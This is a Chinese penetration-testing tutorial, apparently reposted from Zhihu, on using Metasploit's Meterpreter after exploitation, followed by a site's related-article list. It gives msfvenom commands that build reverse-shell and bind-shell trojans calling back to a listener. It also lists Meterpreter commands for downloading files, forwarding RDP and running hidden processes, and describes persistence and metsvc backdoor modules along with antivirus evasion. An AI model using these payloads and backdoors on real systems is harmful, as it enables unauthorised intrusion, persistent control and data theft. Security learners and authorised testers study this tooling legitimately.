渗透攻防工具篇-后渗透阶段的Meterpreter
链接:https://zhuanlan.zhihu.com/p/23677530
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
前言
熟悉Metasploit的应该对Meterpreter不陌生,作为后渗透阶段的利器,其强大之处可想而知,那么本篇文章就带大家来学习一下Meterpreter,目的在于让大家了解它的常用命令和使用方法。
贴心提示:为提高教学效果,文章内的配图大部分是GIF,担心流量的知友请尽量在WIFI环境下观看!
目录
第一节 初识Meterpreter
- 1.1、什么是Meterpreter
- 1.2、Meterpreter的优点
第二节 Meterpreter中常用的Shell
- 2.1、reverse_tcp
- 2.2、reverse_http
- 2.3、reverse_https
- 2.4、bind_tcp第三节 Meterpreter的常用命令
第三节 Meterpreter的常用命令
- 3.1、基本命令
- 3.2、文件系统命令
- 3.3、网络命令
- 3.4、系统命令第四节 后渗透攻击模块
第四节 后渗透攻击模块
- 4.1、什么是后渗透攻击模块
- 4.2、后渗透攻击模块的实现原理
- 4.3、enum_drives
第五节 植入后门
- 5.1、persistence后渗透攻击模块
- 5.2、metsvc后渗透攻击模块
- 第一节 初识Meterpreter
1.1、什么是Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
1.2、Meterpreter技术优势
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。
- 第二节 Meterpreter中常用的Shell
2.1、reverse_tcp
这是一个基于TCP的反弹shell,下面演示Linux下反弹shell,Windows道理一样不做演示。
- Linux
使用下列命令生成一个Linux下反弹shell木马:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上执行权限。
然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。
设置下地址和端口,我们就开始监听了。
这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了。
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
2.2、reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_http
2.3、reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_https
2.4、bind_tcp
这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
使用下列命令生成木马:
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o bindshell
同样道理加权限运行,不演示了。
这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
- 第三节 Meterpreter的常用命令
3.1、基本命令
background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端
3.2、文件系统命令
cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件
3.3、网络命令
ipconfig / ifconfig # 查看网络接口信息
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码
route # 获取路由表信息
3.4、系统命令
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机
- 第四节 后渗透攻击模块
4.1、什么是后渗透攻击模块
后渗透攻击模块(Post)是Metasploit v4版本中正式引入的一种新类型的组件模块,主要支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
4.2、后渗透攻击模块的实现原理
后渗透攻击模块是通过Ruby语言编写的,目标机上可能没有Ruby解释器吧,那么后渗透攻击模块是如何通过Meterpreter会话在目标机上执行的呢。看下来步骤:
- 后渗透攻击脚本由Meterpreter客户端解释
- 远程调用Meterpreter服务端提供的API(Meterpreter服务端即运行在目标机上的攻击载荷)
4.3、enum_drives
这个后渗透攻击模块是获取目标主机磁盘分区信息,我们就以这个例讲解后渗透攻击模块使用方法。

我们首先将meterpreter会话放入后台,然后搜索我们的模块。

然后使用use命令来使用模块,然后设置一下会话id,接着执行,可以发现成功获取到目标主机磁盘分区的信息。
- 第五节 植入后门
Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。
5.1、persistence后渗透攻击模块
使用方法:
-X指定启动的方式为开机自启动,-i反向连接的时间间隔
然后就是监听,等待后门连接
5.2、metsvc后渗透攻击模块
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:
- metsvc.dll
- metsvc-service.exe
- metsvc.exe
使用方法:
到目标机上,我们可以发现Meterpreter服务,正在开启监听并等待连接。
结束语
欢迎大家评论啊,如有不足或错误之处还请指出,感谢大家的支持。
渗透攻防工具篇-后渗透阶段的Meterpreter的更多相关文章
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- 【web渗透技术】渗透攻防Web篇-SQL注入攻击初级
[web渗透技术]渗透攻防Web篇-SQL注入攻击初级 前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的S ...
- 【渗透攻防Web篇】SQL注入攻击高级
前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...
- 渗透攻防Web篇-深入浅出SQL注入
1 背景 京东SRC(Security Response Center)收录大量外部白帽子提交的sql注入漏洞,漏洞发生的原因多为sql语句拼接和Mybatis使用不当导致. 2 手工检测 2.1 前 ...
- 渗透测试工具篇之目录扫描工具dirmap
(一)dirmap介绍 一个高级web目录扫描工具,功能将会强于DirBuster.Dirsearch.cansina.御剑 (二)dirmap安装 打开浏览器输入https://github.com ...
- 《metasploit渗透测试魔鬼训练营》学习笔记第九章--meterpreter
七.强大的meterpreter 7.1再探metasploit的攻击载荷模块 7.1.1典型的攻击载荷模块 metasploit涵盖了各大主流操作系统和平台,其中绝大部分是远程漏洞 ...
- Metasploit简单使用——后渗透阶段
在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/ 一.meterperter常用命令 sysinfo #查看目标主机系统信息 run scraper #查看目标主机详 ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
- kali linux之msf后渗透阶段
已经获得目标操作系统控制权后扩大战果 提权 信息收集 渗透内网 永久后门 基于已有session扩大战果 绕过UAC限制 use exploit/windows/local/ask set sessi ...
随机推荐
- MAPINFO中利用GridMaker工具创建栅格图层
在工作中需要使用栅格地图,以往都是由研发人员来创建,今天偶然发现Mapinfo中有GridMaker这样一个工具,结合网络搜索自己试了一下,居然做成功了,这里把步骤记录下来,方便以后查看. 1.首先在 ...
- 解决方案:带格式化文本控件( RichText)的模板如果在InfoPath的浏览器中加载可能出现 COM 组件的80040154错误
建议大家在微软的组件出现问题时,在GOOGLE上搜索解决方案,一般来说,总有结果: 带格式化文本控件( RichText)的模板如果在InfoPath的浏览器中加载,可能出现 COM 组件的80 ...
- Autodesk 招人了,开发顾问,感兴趣的或者有推荐的人扔简历过来啊
Autodesk ADN招人了,在上海,开发顾问, JD如下. 如果你感兴趣或者有人推荐,扔简历过来啊, daniel.du@autodesk.com,赶早不赶晚啊. Job Title: Dev ...
- 电脑公司最新GHOST WIN7系统32,64位优化精简版下载
系统来自系统妈:http://www.xitongma.com 电脑公司最新GHOST win7系统32位优化精简版V2016年3月 系统概述 电脑公司ghost win7 x86(32位)万能装机版 ...
- 我的android学习经历7
android签名后报错的问题 Duplicate id @+id/imageView, already defined earlier in this layout,android生成报错 这个是项 ...
- XML解析方案
在iOS中,解析XML的手段有很多 苹果原生 NSXMLParser:SAX方式解析,使用简单 第三方框架 libxml2:纯C语言,默认包含在iOS SDK中,同时支持DOM和SAX方式解析 GDa ...
- django 验证用户是否登陆
第一步 指定一下登陆url. url(r'^accounts/login/$', include(xadmin.site.urls)), 由于我用的xadmin故而指向了xadmin,如果使用默认的a ...
- CEF3可行性
Chromium Embedded Framework 顾名思义,内嵌式CHROME,详细的介绍参阅 http://yogurtcat.com/posts/cef/hello-cef.html 为什么 ...
- php设计模式 适配器模式
适配器模式,可以将截然不同的函数接口封装成统一的API: 应用举例,PHP的数据库操作有Mysql.Mysqli.pdo三种,可以用适配器模式统一成一致,类似的场景还有cache适配器,将memcac ...
- jQuery.noConflict() 函数
jQuery.noConflict()函数用于让出jQuery库对变量$(和变量jQuery)的控制权. 一般情况下,在jQuery库中,变量$是变量jQuery的别名,它们之间是等价的,例如jQue ...